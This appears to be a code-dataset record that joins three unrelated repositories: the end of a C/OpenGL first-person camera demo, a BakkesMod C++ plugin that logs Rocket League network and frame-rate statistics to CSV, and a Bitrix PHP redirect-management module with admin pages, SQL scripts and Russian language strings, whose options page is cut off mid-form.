if (key == 's') { //뒤로감 ->물체 작게보임
eye[2] += 0.1*-cos(angle*PI / 180.0);
eye[0] += 0.1*-sin(angle*PI / 180.0);
at[2] += 0.1*-cos(angle*PI / 180.0);
at[0] += 0.1*-sin(angle*PI / 180.0);
}
if (key == 'a') { //왼쪽이동 -> 물체 오른쪽 // 고개를 a만큼 튼 상태에서 좌우 이동 z축과의 각도 = 90-a
eye[2] += 0.1*-cos((90 - angle)*PI / 180.0);
eye[0] += 0.1*sin((90-angle)*PI / 180.0);
at[2] += 0.1*-cos((90 - angle)*PI / 180.0);
at[0] += 0.1*sin((90 - angle)*PI / 180.0);
}
if (key == 'd') { // 오른쪽이동-> 물체 왼쪽
eye[2] += 0.1*cos((90 - angle)*PI / 180.0);
eye[0] += 0.1*-sin((90 - angle)*PI / 180.0);
at[2] += 0.1*cos((90 - angle)*PI / 180.0);
at[0] += 0.1*-sin((90 - angle)*PI / 180.0);
}
printf("%lf %lf %lf %lf\n", eye[0], eye[2], at[0], at[2]);
glutPostRedisplay();
}
void mouse_handler(int btn, int state, int x, int y) { // x,y 마우스포인터 위치좌표
if (btn == GLUT_LEFT_BUTTON && state == GLUT_DOWN) {
tempx = x; tempy = y;
printf("%d %d\n", x, y);
}
if (btn == GLUT_LEFT_BUTTON && state == GLUT_UP) {
angle += (float)(x - tempx) / 25.0;
if (angle > 360)
angle -= 360;
if(angle<-360)
angle+=360;
if (!(angley + (float)(y - tempy) / 25.0 > 90 || angley + (float)(y - tempy) / 25.0 < -90)) { // y축으로 90, -90도 이상 넘어가면 안됨 목의 한계
angley += (float)(y - tempy) / 25.0;
at[1] = eye[1]+ (angley*PI / 180);
}
at[0] = eye[0] + sin(angle*PI / 180); // 고개 틀면 눈은 그대로 시야 at만 바뀜
at[2] = eye[2] + cos(angle*PI / 180);
printf("%lf %lf\n", angle, angley);
printf("at0 : %lf at1 %lf at2 %lf\n", at[0], at[1], at[2]);
}
glutPostRedisplay();
}
int main(int argc, char *argv[])
{
glutInit(&argc, (char**)argv); // 초기화
glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB | GLUT_DEPTH);
glutInitWindowSize(500, 500); // 윈도우크기초기화(도화지크기)(실행하면 나오는 화면)
glutCreateWindow("FPS"); // 윈도우생성
//glutIdleFunc(spin_cube);
glutKeyboardFunc(keyboard_handler);
glutMouseFunc(mouse_handler);
glutDisplayFunc(display); // os가 언제 화면을 보여줄지(parameter를 그릴것)
//glutTimerFunc(delay, timer, 0);
init(); // openGL 초기화
glutMainLoop(); // event queue에 어떤 event가 들어있는지 검사하는 loop시작
return 0;
} | 283018a48491951ec14cf6a01a37920f454c36eb | [
"C",
"C++"
] | 3 | C | yeahyung/graphics | 9926cfc54724dfb856ca4a92e9d4b69dda0c86df | f7aeb6ec4b524affb18f23780b16bd9e1dba249c |
refs/heads/master | <repo_name>DanMB/PerformanceLogPlugin<file_sep>/PerformanceLog.cpp
#include "PerformanceLog.h"
BAKKESMOD_PLUGIN(PerformanceLog, "Performance Log", "1.0", 0)
void PerformanceLog::onLoad()
{
steamId = std::to_string(gameWrapper->GetSteamID());
string tempData = "timestamp,"; // %Y-%m-%d %H:%M:%S timestamp
tempData = tempData + "steam,"; // Steam ID of client
tempData = tempData + "server,"; // Internal ID of server
tempData = tempData + "playlist,"; // Current playlist ID
tempData = tempData + "fps,"; // FPS
tempData = tempData + "ping,"; // Ping
tempData = tempData + "latency,"; // Latency
tempData = tempData + "packets lost,"; // Lost packets out
tempData = tempData + "buffer,"; // Buffer aka iBuf
tempData = tempData + "buffer target\n"; // Buffer target aka iBuf target
std::ofstream logfile;
logfile.open("./bakkesmod/data/"+ steamId +"-performance.csv");
logfile << tempData;
logfile.close();
this->getPerformance();
}
void PerformanceLog::onUnload()
{
}
void PerformanceLog::getPerformance()
{
bool isInGame = false;
if (gameWrapper->IsInOnlineGame()) {
ServerWrapper server = gameWrapper->GetOnlineGame();
if (!server.IsNull()) {
if (server.GetbRoundActive()) {
PlayerControllerWrapper localPrimaryPlayerController = server.GetLocalPrimaryPlayer();
if (!localPrimaryPlayerController.IsNull()) {
PriWrapper pri = localPrimaryPlayerController.GetPRI();
if (!pri.IsNull()) {
isInGame = true;
time_t now = time(NULL);
tm nowInfo;
localtime_s(&nowInfo, &now);
char timestamp[32];
strftime(timestamp, sizeof(timestamp), "%Y-%m-%d %H:%M:%S", &nowInfo);
StatGraphSystemWrapper statGraphs = gameWrapper->GetEngine().GetStatGraphs();
NetStatGraphWrapper netGraph = statGraphs.GetNetStatGraph();
InputBufferGraphWrapper bufGraph = statGraphs.GetInputBufferGraph();
PerfStatGraphWrapper perfGraph = statGraphs.GetPerfStatGraph();
RecordedSample latencySample = netGraph.GetLatency().GetPendingSample();
RecordedSample lostOutSample = netGraph.GetLostPacketsOut().GetPendingSample();
RecordedSample buffer = bufGraph.GetBuffer().GetPendingSample();
RecordedSample bufTarget = bufGraph.GetBufferTarget().GetPendingSample();
RecordedSample fpsSample = perfGraph.GetFPS().GetPendingSample();
data = data + std::string(timestamp) + ","; // %Y-%m-%d %H:%M:%S timestamp
data = data + steamId + ","; // Steam ID of client
data = data + server.GetMatchGUID() + ","; // Internal ID of server
data = data + std::to_string(server.GetPlaylist().GetPlaylistId()) + ","; // Current playlist ID
data = data + std::to_string(static_cast<int>(((fpsSample.Low + fpsSample.High) / 2) + 0.5)) + ","; // FPS
data = data + std::to_string(static_cast<int>((pri.GetExactPing() * 1000) + 0.5)) + ","; // Ping
data = data + std::to_string(static_cast<int>(((latencySample.Low + latencySample.High) / 2) + 0.5)) + ","; // Latency
data = data + std::to_string(static_cast<int>(lostOutSample.High + 0.5)) + ","; // Lost packets out
data = data + std::to_string(static_cast<int>(buffer.Low + 0.5)) + ","; // Buffer aka iBuf
data = data + std::to_string(static_cast<int>(bufTarget.Low + 0.5)) + "\n"; // Buffer target aka iBuf target
hasChanged = true;
}
}
}
}
}
if (hasChanged && !isInGame) {
hasChanged = false;
string tempData = data;
data = "";
std::ofstream logfile;
logfile.open("./bakkesmod/data/" + steamId + "-performance.csv", std::ios_base::app);
logfile << tempData;
logfile.close();
cvarManager->log("Performance data logged");
}
gameWrapper->SetTimeout(bind(&PerformanceLog::getPerformance, this), 1.00f);
}
<file_sep>/PerformanceLog.h
#pragma comment(lib, "BakkesMod.lib")
#include "bakkesmod/plugin/bakkesmodplugin.h"
#include "utils/parser.h"
class PerformanceLog : public BakkesMod::Plugin::BakkesModPlugin
{
public:
bool hasChanged = false;
void onLoad();
void onUnload();
void getPerformance();
string steamId;
string data;
};
| 9b0d196b5ac8f8946d996fe2ac0af2c5b17f2620 | [
"C++"
] | 2 | C++ | DanMB/PerformanceLogPlugin | f7e5b7ce42a809cd998e15d52b61706a89096cf7 | 9ab015b043d4c03ef216d000ac1c6413c5da2eee |
refs/heads/master | <repo_name>designh2o/redirect<file_sep>/h2o.redirect/lang/ru/options.php
<?
$MESS['H2O_REDIRECT_STATUS'] = "Код статуса ответа при редиректе";
$MESS['H2O_REDIRECT_STATUS_301'] = "301 Moved permanently";
$MESS['H2O_REDIRECT_STATUS_302'] = "302 Found";
$MESS['H2O_OPTIONS_RESTORED'] = "Восстановлены настройки по умолчанию";
$MESS['H2O_OPTIONS_SAVED'] = "Настройки сохранены";
$MESS['H2O_INVALID_VALUE'] = "Введено неверное значение";
$MESS['H2O_ERROR_MODULE'] = "Модуль не установлен!";
$MESS['H2O_TO_TRACK_REDIRECT'] = "Вести статистику по редиректам";
<file_sep>/h2o.redirect/lang/ru/admin/h2o_redirect_list.php
<?
$MESS["H2O_REDIRECT_DEL_CONF"] = "Точно?";
$MESS["H2O_REDIRECT_ADMIN_TITLE"] = "Список редиректов";
$MESS["H2O_REDIRECT_ADMIN_FILTER_CREATED"] = "Дата создания";
$MESS["H2O_REDIRECT_ADMIN_FILTER_USER_ID"] = "Пользователь";
$MESS["H2O_REDIRECT_ADMIN_NAV"] = "Редиректы";
$MESS['H2O_REDIRECT_DELETE'] = "Удалить";
$MESS['H2O_REDIRECT_EDIT'] = "Изменить";
$MESS['H2O_REDIRECT_YES'] = "Да";
$MESS['H2O_REDIRECT_NO'] = "Нет";
$MESS["REDIRECT_SAVE_ERROR"] = "Ошибка сохранения!";
$MESS["REDIRECT_NO_ELEMENT"] = "Не найден элемент";
$MESS["REDIRECT_DELETE_ERROR"] = "Ошибка удаления!";
$MESS['H2O_REDIRECT_ADD'] = 'Добавить';<file_sep>/h2o.redirect/install/sql/install.sql
CREATE TABLE h2o_redirect (
ID int NOT NULL auto_increment,
ACTIVE char(1) not null DEFAULT 'Y',
REDIRECT_FROM text NULL,
REDIRECT_TO text NULL,
IS_REGEXP CHAR(1) NOT NULL DEFAULT 'N',
COUNT_REDIRECT INT NULL DEFAULT 0,
primary key (ID)
);
<file_sep>/h2o.redirect/admin/h2o_redirect_edit.php
<?
use Bitrix\Main\Loader;
use Bitrix\Main\Config\Option;
// подключим все необходимые файлы:
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php"); // первый общий пролог
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/h2o.redirect/admin/tools.php");
Loader::includeModule('h2o.redirect');
// подключим языковой файл
IncludeModuleLangFile(__FILE__);
global $DB;
// сформируем список закладок
$aTabs = array(
array("DIV" => "edit1", "TAB" => GetMessage("H2O_REDIRECT_TAB_MAIN"), "ICON"=>"main_user_edit", "TITLE"=>GetMessage("H2O_REDIRECT_TAB_MAIN")),
);
$tabControl = new CAdminTabControl("tabControl", $aTabs);
$ID = intval($ID); // идентификатор редактируемой записи
$message = null; // сообщение об ошибке
$bVarsFromForm = false; // флаг "Данные получены с формы", обозначающий, что выводимые данные получены с формы, а не из БД.
// ******************************************************************** //
// ОБРАБОТКА ИЗМЕНЕНИЙ ФОРМЫ //
// ******************************************************************** //
if(
$REQUEST_METHOD == "POST" // проверка метода вызова страницы
&&
($save!="" || $apply!="") // проверка нажатия кнопок "Сохранить" и "Применить"
&&
check_bitrix_sessid() // проверка идентификатора сессии
)
{
$arMap = \h2o\Redirect\RedirectTable::getMap();
$arFields = array();
foreach($arMap as $key => $field){
if(isset($_REQUEST[$key]) && $field['editable']){
$arFields[$key] = $_REQUEST[$key];
}elseif($field['data_type'] == 'boolean' && $field['editable']){
$arFields[$key] = "N";
}
}
// сохранение данных
if($ID > 0)
{
$result = \h2o\Redirect\RedirectTable::update($ID, $arFields);
}
else
{
$result = \h2o\Redirect\RedirectTable::add($arFields);
if($result->isSuccess()){
$ID = $result->getId();
}
}
if($result->isSuccess())
{
// если сохранение прошло удачно - перенаправим на новую страницу
// (в целях защиты от повторной отправки формы нажатием кнопки "Обновить" в браузере)
if ($apply != "")
// если была нажата кнопка "Применить" - отправляем обратно на форму.
LocalRedirect("/bitrix/admin/h2o_redirect_edit.php?ID=".$ID."&mess=ok&lang=".LANG."&".$tabControl->ActiveTabParam());
else
// если была нажата кнопка "Сохранить" - отправляем к списку элементов.
LocalRedirect("/bitrix/admin/h2o_redirect_list.php?lang=".LANG);
}
else
{
// если в процессе сохранения возникли ошибки - получаем текст ошибки и меняем вышеопределённые переменные
if($e = $result->getErrorMessages())
$message = new CAdminMessage(GetMessage("H2O_REDIRECT_ERROR").implode("; ",$e));
$bVarsFromForm = true;
}
}
// ******************************************************************** //
// ВЫБОРКА И ПОДГОТОВКА ДАННЫХ ФОРМЫ //
// ******************************************************************** //
// выборка данных
if($ID>0)
{
$res = \h2o\Redirect\RedirectTable::getById($ID);
if(!$redirect_element = $res->fetch())
$ID=0;
}
// если данные переданы из формы, инициализируем их
if($bVarsFromForm)
$DB->InitTableVarsForEdit("b_list_redirect", "", "str_");
// ******************************************************************** //
// ВЫВОД ФОРМЫ //
// ******************************************************************** //
// установим заголовок страницы
$APPLICATION->SetTitle(($ID>0? GetMessage("H2O_REDIRECT_EDIT_TITLE").$ID : GetMessage("H2O_REDIRECT_ADD_TITLE")));
// не забудем разделить подготовку данных и вывод
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");
// конфигурация административного меню
$aMenu = array(
array(
"TEXT"=>GetMessage("H2O_REDIRECT_LIST"),
"TITLE"=>GetMessage("H2O_REDIRECT_LIST_TITLE"),
"LINK"=>"h2o_redirect_list.php?lang=".LANG,
"ICON"=>"btn_list",
)
);
$toTrackRedirect = false;
if($ID>0)
{
$toTrackRedirect = Option::get('h2o.redirect', "to_track_redirect", 'Y') == 'Y';
$aMenu[] = array("SEPARATOR"=>"Y");
$aMenu[] = array(
"TEXT"=>GetMessage("H2O_REDIRECT_ADD"),
"TITLE"=>GetMessage("H2O_REDIRECT_ADD"),
"LINK"=>"h2o_redirect_edit.php?lang=".LANG,
"ICON"=>"btn_new",
);
$aMenu[] = array(
"TEXT"=>GetMessage("H2O_REDIRECT_DELETE"),
"TITLE"=>GetMessage("H2O_REDIRECT_DELETE"),
"LINK"=>"javascript:if(confirm('".GetMessage("H2O_REDIRECT_DELETE_CONF")."'))window.location='h2o_redirect_list.php?ID=".$ID."&action=delete&lang=".LANG."&".bitrix_sessid_get()."';",
"ICON"=>"btn_delete",
);
}
// создание экземпляра класса административного меню
$context = new CAdminContextMenu($aMenu);
// вывод административного меню
$context->Show();
?>
<?
// если есть сообщения об ошибках или об успешном сохранении - выведем их.
if($_REQUEST["mess"] == "ok" && $ID>0)
CAdminMessage::ShowMessage(array("MESSAGE"=>GetMessage("H2O_REDIRECT_SAVED"), "TYPE"=>"OK"));
if($message)
echo $message->Show();
elseif($redirect_element->LAST_ERROR!="")
CAdminMessage::ShowMessage($redirect_element->LAST_ERROR);
?>
<?
// далее выводим собственно форму
?>
<form method="POST" action="<?echo $APPLICATION->GetCurPage()?>" enctype="multipart/form-data" name="redirect_edit_form">
<?// проверка идентификатора сессии ?>
<?echo bitrix_sessid_post();?>
<?
// отобразим заголовки закладок
$tabControl->Begin();
CJSCore::Init(array('date'));
?>
<?
//********************
// первая закладка - форма редактирования параметров рассылки
//********************
$tabControl->BeginNextTab();
$arMap = \h2o\Redirect\RedirectTable::getMap();
foreach($arMap as $code => $field):
if($field['hidden'] || $code == 'ID'){
continue;
}
if($ID == 0 && !$field['editable']){
continue;
}
if(!$toTrackRedirect && $code == 'COUNT_REDIRECT'){
continue;
}
?>
<tr>
<td width="40%">
<?if($field['required']):?>
<span class="adm-required-field"><?echo $field['title']?>:</span>
<?else:?>
<?echo $field['title']?>:
<?endif;?>
</td>
<td width="60%">
<?if($field['editable']):?>
<?switch($field['data_type']){
case 'datetime':
echo CAdminCalendar::CalendarDate($code, $redirect_element[$code]->toString(), 19, true);
break;
case 'boolean':
?><input type="checkbox" name="<?=$code?>" value="Y"<?if($redirect_element[$code] == "Y") echo " checked"?>/> <?
break;
case 'integer':
case 'text':
case 'string':
if($field['type_field'] == 'element'){
\h2o\Redirect\H2oRedirectTools::ShowElementField($code,$field,array($redirect_element[$code]));
}elseif($field['type_field'] == 'user'){
print \h2o\Redirect\H2oRedirectTools::ShowUserField($code,$field,array("VALUE" => $redirect_element[$code]));
}else{
?><input type="text" name="<?=$code?>" value="<?=$redirect_element[$code]?>" style="width: 100%;" /> <?
}
break;
}?>
<?else:?>
<?if(is_object($redirect_element[$code])):?>
<?if(method_exists($redirect_element[$code],'toString')):?>
<?=$redirect_element[$code]->toString();?>
<?endif;?>
<?else:?>
<?=$redirect_element[$code]?>
<?endif;?>
<?endif;?>
</td>
</tr>
<?endforeach;?>
<?
// завершение формы - вывод кнопок сохранения изменений
$tabControl->Buttons(
array(
"disabled"=>false,
"back_url"=>"rubric_admin.php?lang=".LANG,
)
);
?>
<input type="hidden" name="lang" value="<?=LANG?>">
<?if($ID>0 && !$bCopy):?>
<input type="hidden" name="ID" value="<?=$ID?>">
<?endif;?>
<?
// завершаем интерфейс закладок
$tabControl->End();
?>
<?
// дополнительное уведомление об ошибках - вывод иконки около поля, в котором возникла ошибка
$tabControl->ShowWarnings("redirect_edit_form", $message);
?>
<?
// информационная подсказка
echo BeginNote();?>
<span class="required">*</span><?echo GetMessage("REQUIRED_FIELDS")?>
<?echo EndNote();?>
<?
// завершение страницы
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");
?><file_sep>/h2o.redirect/lang/ru/admin/tools.php
<?
$MESS["IBLOCK_MODULE_NOT_INSTALLED"] = "Модуль iblock не установлен!";
$MESS['IBLOCK_PROP_USERID_DESC'] = "Пользователь";
$MESS['MAIN_EDIT_USER_PROFILE'] = "Редактирование пользователя";
$MESS['MAIN_NOT_FOUND'] = "Пользователь не найден";
$MESS['IBLOCK_PROP_USERID_NONE'] = "(нет)";
$MESS['IBLOCK_PROP_USERID_CURR'] = "Текущий";
$MESS['IBLOCK_PROP_USERID_OTHR'] = "Выбрать";<file_sep>/h2o.redirect/install/sql/uninstall.sql
DROP TABLE if exists h2o_redirect;
<file_sep>/h2o.redirect/lang/ru/admin/h2o_redirect_edit.php
<?
$MESS["H2O_REDIRECT_EDIT_TITLE"] = "Редактирование редиректа #";
$MESS["H2O_REDIRECT_ADD_TITLE"] = "Добавление редиректа #";
$MESS["H2O_REDIRECT_LIST"] = "Список редиректов";
$MESS["H2O_REDIRECT_LIST_TITLE"] = "Список редиректов";
$MESS["H2O_REDIRECT_ADD"] = "Добавить новый редирект";
$MESS["H2O_REDIRECT_DELETE"] = "Удалить редирект";
$MESS["H2O_REDIRECT_DELETE_CONF"] = "Действительно удалить запись?";
$MESS["H2O_REDIRECT_SAVED"] = "Редирект успешно сохранен";
$MESS["H2O_REDIRECT_TAB_MAIN"] = "Основная";
$MESS["H2O_REDIRECT_FIELD_CREATE"] = "";
$MESS["H2O_REDIRECT_ERROR"] = "Ошибка: ";<file_sep>/h2o.redirect/lib/redirect.php
<?php
namespace h2o\Redirect;
use Bitrix\Main\Entity;
use Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);
/**
* Class RedirectTable
*
* Fields:
* <ul>
* <li> ID int mandatory
* <li> ACTIVE bool optional default 'Y'
* <li> REDIRECT_FROM string optional
* <li> REDIRECT_TO string optional
* <li> IS_REGEXP bool optional default 'N'
* </ul>
*
* @package Bitrix\Redirect
**/
class RedirectTable extends Entity\DataManager
{
/**
* Returns DB table name for entity.
*
* @return string
*/
public static function getTableName()
{
return 'h2o_redirect';
}
/**
* Returns entity map definition.
*
* @return array
*/
public static function getMap()
{
return array(
'ID' => array(
'data_type' => 'integer',
'primary' => true,
'autocomplete' => true,
'title' => Loc::getMessage('REDIRECT_ENTITY_ID_FIELD'),
),
'ACTIVE' => array(
'data_type' => 'boolean',
'values' => array('N', 'Y'),
'title' => Loc::getMessage('REDIRECT_ENTITY_ACTIVE_FIELD'),
'editable' => true
),
'REDIRECT_FROM' => array(
'data_type' => 'text',
'title' => Loc::getMessage('REDIRECT_ENTITY_REDIRECT_FROM_FIELD'),
'editable' => true
),
'REDIRECT_TO' => array(
'data_type' => 'text',
'title' => Loc::getMessage('REDIRECT_ENTITY_REDIRECT_TO_FIELD'),
'editable' => true
),
'IS_REGEXP' => array(
'data_type' => 'boolean',
'values' => array('N', 'Y'),
'title' => Loc::getMessage('REDIRECT_ENTITY_IS_REGEXP_FIELD'),
'editable' => true
),
'COUNT_REDIRECT' => array(
'data_type' => 'integer',
'title' => Loc::getMessage('REDIRECT_ENTITY_COUNT_REDIRECT'),
'editable' => false
)
);
}
}<file_sep>/h2o.redirect/lang/ru/install/index.php
<?
$MESS["h2o.redirect_MODULE_NAME"] = "Простой редирект страниц";
$MESS["h2o.redirect_MODULE_DESC"] = "Простой редирект страниц";
$MESS["h2o.redirect_PARTNER_NAME"] = "h2o design";
$MESS["h2o.redirect_PARTNER_URI"] = "http://www.design-h2o.ru";
$MESS["H2O_redirect_INSTALL_TITLE"] = "Установка модуля 'Простой редирект страниц' (redirect)";
?><file_sep>/h2o.redirect/admin/h2o_redirect_list.php
<?
use Bitrix\Main\Loader;
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/h2o.redirect/admin/tools.php");
Loader::includeModule('h2o.redirect');
//CModule::IncludeModule("h2o.redirect");
IncludeModuleLangFile(__FILE__);
$listTableId = "tbl_h2o_redirect_list";
$oSort = new CAdminSorting($listTableId, "ID", "asc");
$arOrder = (strtoupper($by) === "ID"? array($by => $order): array($by => $order, "ID" => "ASC"));
$adminList = new CAdminList($listTableId, $oSort);
// ******************************************************************** //
// ФИЛЬТР //
// ******************************************************************** //
// *********************** CheckFilter ******************************** //
// проверку значений фильтра для удобства вынесем в отдельную функцию
function CheckFilter()
{
global $arFilterFields, $adminList;
foreach ($arFilterFields as $f) global $$f;
// В данном случае проверять нечего.
// В общем случае нужно проверять значения переменных $find_имя
// и в случае возниконовения ошибки передавать ее обработчику
// посредством $adminList->AddFilterError('текст_ошибки').
return count($adminList->arFilterErrors)==0; // если ошибки есть, вернем false;
}
// *********************** /CheckFilter ******************************* //
// опишем элементы фильтра
$FilterArr = Array(
"find_active",
);
$arFilterFields = array(
"find_active",
);
// инициализируем фильтр
$adminList->InitFilter($arFilterFields);
// если все значения фильтра корректны, обработаем его
if (CheckFilter())
{
$arFilter = array();
if (!empty($find_active))
$arFilter["ACTIVE"] = $find_active;
}
// ******************************************************************** //
// ОБРАБОТКА ДЕЙСТВИЙ НАД ЭЛЕМЕНТАМИ СПИСКА //
// ******************************************************************** //
// сохранение отредактированных элементов
if($adminList->EditAction())
{
// пройдем по списку переданных элементов
foreach($FIELDS as $ID=>$arFields)
{
if(!$adminList->IsUpdated($ID))
continue;
// сохраним изменения каждого элемента
$DB->StartTransaction();
$ID = IntVal($ID);
$res = \h2o\Redirect\RedirectTable::getById($ID);
if(!$arData = $res->fetch()){
foreach($arFields as $key=>$value)
$arData[$key]=$value;
$result = \h2o\Redirect\RedirectTable::update($ID, $arData);
if(!$result->isSuccess())
{
if($e = $result->getErrorMessages())
$adminList->AddGroupError(GetMessage("REDIRECT_SAVE_ERROR")." ".$e, $ID);
$DB->Rollback();
}
}
else
{
$adminList->AddGroupError(GetMessage("REDIRECT_SAVE_ERROR")." ".GetMessage("REDIRECT_NO_ELEMENT"), $ID);
$DB->Rollback();
}
$DB->Commit();
}
}
// обработка одиночных и групповых действий
if(($arID = $adminList->GroupAction()))
{
// если выбрано "Для всех элементов"
if($_REQUEST['action_target']=='selected')
{
$rsData = \h2o\Redirect\RedirectTable::getList(
array(
"filter" => $arFilter,
'order' => array($by=>$order)
)
);
while($arRes = $rsData->fetch())
$arID[] = $arRes['ID'];
}
// пройдем по списку элементов
foreach($arID as $ID)
{
if(strlen($ID)<=0)
continue;
$ID = IntVal($ID);
// для каждого элемента совершим требуемое действие
switch($_REQUEST['action'])
{
// удаление
case "delete":
@set_time_limit(0);
$DB->StartTransaction();
$result = \h2o\Redirect\RedirectTable::delete($ID);
if(!$result->isSuccess())
{
$DB->Rollback();
$adminList->AddGroupError(GetMessage("REDIRECT_DELETE_ERROR"), $ID);
}
$DB->Commit();
break;
// активация/деактивация
case "activate":
case "deactivate":
if(($rsData = \h2o\Redirect\RedirectTable::getById($ID)) && ($arFields = $rsData->fetch()))
{
$arFields["ACTIVE"]=($_REQUEST['action']=="activate"?"Y":"N");
$result = \h2o\Redirect\RedirectTable::update($ID, $arFields);
if(!$result->isSuccess())
if($e = $result->getErrorMessages())
$adminList->AddGroupError(GetMessage("REDIRECT_SAVE_ERROR").$e, $ID);
}
else
$adminList->AddGroupError(GetMessage("REDIRECT_SAVE_ERROR")." ".GetMessage("REDIRECT_NO_ELEMENT"), $ID);
break;
}
}
}
$myData = \h2o\Redirect\RedirectTable::getList(
array(
'filter' => $arFilter,
'order' => $arOrder
)
);
$myData = new CAdminResult($myData, $listTableId);
$myData->NavStart();
$adminList->NavText($myData->GetNavPrint(GetMessage("H2O_REDIRECT_ADMIN_NAV")));
$toTrackRedirect = Bitrix\Main\Config\Option::get('h2o.redirect', "to_track_redirect", 'Y') == 'Y';
$cols = \h2o\Redirect\RedirectTable::getMap();
$colHeaders = array();
foreach ($cols as $colId => $col)
{
if($col['hidden']){
continue;
}
if(!$toTrackRedirect && $colId == 'COUNT_REDIRECT'){
continue;
}
$colHeaders[] = array(
"id" => $colId,
"content" => $col["title"],
"sort" => $colId,
"default" => true,
);
}
$adminList->AddHeaders($colHeaders);
$visibleHeaderColumns = $adminList->GetVisibleHeaderColumns();
$arUsersCache = array();
$arElementCache = array();
while ($arRes = $myData->GetNext())
{
$row =& $adminList->AddRow($arRes["ID"], $arRes);
if (in_array("ACTIVE", $visibleHeaderColumns)){
$row->AddViewField("ACTIVE", $arRes['ACTIVE'] == 'Y'?GetMessage("H2O_REDIRECT_YES"):GetMessage("H2O_REDIRECT_NO"));
}
if (in_array("IS_REGEXP", $visibleHeaderColumns)){
$row->AddViewField("IS_REGEXP", $arRes['IS_REGEXP'] == 'Y'?GetMessage("H2O_REDIRECT_YES"):GetMessage("H2O_REDIRECT_NO"));
}
//$el_edit_url = htmlspecialcharsbx(\h2o\Redirect\H2oRedirectTools::GetAdminElementEditLink($arRes["ID"]));
/*$arActions[] = array(
"ICON" => "edit",
"TEXT" => GetMessage("H2O_REDIRECT_EDIT"),
"ACTION" => $adminList->ActionRedirect($el_edit_url),
"DEFAULT" => true,
);*/
$el_edit_url = htmlspecialcharsbx(\h2o\Redirect\H2oRedirectTools::GetAdminElementEditLink($arRes["ID"]));
$arActions = array();
$arActions[] = array("ICON" => "edit", "TEXT" => GetMessage("H2O_REDIRECT_EDIT"), "ACTION" => $adminList->ActionRedirect($el_edit_url), "DEFAULT" => true,);
$arActions[] = array("ICON" => "delete", "TEXT" => GetMessage("H2O_REDIRECT_DELETE"), "ACTION" => "if(confirm('" . GetMessageJS("H2O_REDIRECT_DEL_CONF") . "')) " . $adminList->ActionDoGroup($arRes["ID"], "delete"),);
$row->AddActions($arActions);
}
$adminList->AddFooter(
array(
array(
"title" => GetMessage("MAIN_ADMIN_LIST_SELECTED"),
"value" => $myData->SelectedRowsCount()
),
array(
"counter" => true,
"title" => GetMessage("MAIN_ADMIN_LIST_CHECKED"),
"value" => "0"
),
)
);
// групповые действия
$adminList->AddGroupActionTable(Array(
"delete"=>GetMessage("MAIN_ADMIN_LIST_DELETE"), // удалить выбранные элементы
"activate"=>GetMessage("MAIN_ADMIN_LIST_ACTIVATE"), // активировать выбранные элементы
"deactivate"=>GetMessage("MAIN_ADMIN_LIST_DEACTIVATE"), // деактивировать выбранные элементы
));
//Добавление кнопок на добавление элемента в таблицу
$aContext = array();
if (empty($aContext))
{
$aContext[] = array(
"ICON" => "btn_new",
"TEXT" => GetMessage("H2O_REDIRECT_ADD"),
"LINK" => h2o\Redirect\H2oRedirectTools::GetAdminElementEditLink(0) ,
"LINK_PARAM" => "",
"TITLE" => GetMessage("H2O_REDIRECT_ADD")
);
}
$adminList->AddAdminContextMenu($aContext); //Подключение контекстного меню
$adminList->CheckListMode();
$APPLICATION->SetTitle(GetMessage("H2O_REDIRECT_ADMIN_TITLE"));
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");
?>
<?
$adminList->DisplayList();
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");
?><file_sep>/h2o.redirect/options.php
<?php
defined('B_PROLOG_INCLUDED') and (B_PROLOG_INCLUDED === true) or die();
defined('ADMIN_MODULE_NAME') or define('ADMIN_MODULE_NAME', 'h2o.redirect');
global $USER, $APPLICATION;
use Bitrix\Main\Application;
use Bitrix\Main\Config\Option;
use Bitrix\Main\Localization\Loc;
if (!$USER->isAdmin()) {
$APPLICATION->authForm('Nope');
}
$app = Application::getInstance();
$context = $app->getContext();
$request = $context->getRequest();
Loc::loadMessages($context->getServer()->getDocumentRoot() . "/bitrix/modules/main/options.php");
Loc::loadMessages(__FILE__);
if(!Bitrix\Main\Loader::includeModule("iblock") || !Bitrix\Main\Loader::includeModule(ADMIN_MODULE_NAME)){
CAdminMessage::showMessage(array(
"MESSAGE" => Loc::getMessage("H2O_ERROR_MODULE"),
"TYPE" => "ERROR",
));
return;
}
$tabControl = new CAdminTabControl("tabControl", array(
array(
"DIV" => "edit1",
"TAB" => Loc::getMessage("MAIN_TAB_SET"),
"TITLE" => Loc::getMessage("MAIN_TAB_TITLE_SET"),
),
));
if ((!empty($save) || !empty($restore)) && $request->isPost() && check_bitrix_sessid()) {
if (!empty($restore)) {
Option::delete(ADMIN_MODULE_NAME);
CAdminMessage::showMessage(array(
"MESSAGE" => Loc::getMessage("H2O_OPTIONS_RESTORED"),
"TYPE" => "OK",
));
} elseif (
$request->getPost('status')
) {
Option::set(
ADMIN_MODULE_NAME,
"status",
$request->getPost('status')
);
Option::set(
ADMIN_MODULE_NAME,
"to_track_redirect",
$request->getPost('to_track_redirect') == 'Y' ? "Y" : "N"
);
CAdminMessage::showMessage(array(
"MESSAGE" => Loc::getMessage("H2O_OPTIONS_SAVED"),
"TYPE" => "OK",
));
} else {
CAdminMessage::showMessage(Loc::getMessage("H2O_INVALID_VALUE"));
}
}
$tabControl->begin();
?>
<form method="post"
action="<?= sprintf('%s?mid=%s&lang=%s', $request->getRequestedPage(), urlencode($mid), LANGUAGE_ID) ?>">
<?php
echo bitrix_sessid_post();
$tabControl->beginNextTab();
?>
<tr>
<td width="40%">
<label for="status"><?= Loc::getMessage("H2O_REDIRECT_STATUS") ?>:</label>
<td width="60%">
<select name="status" id="status">
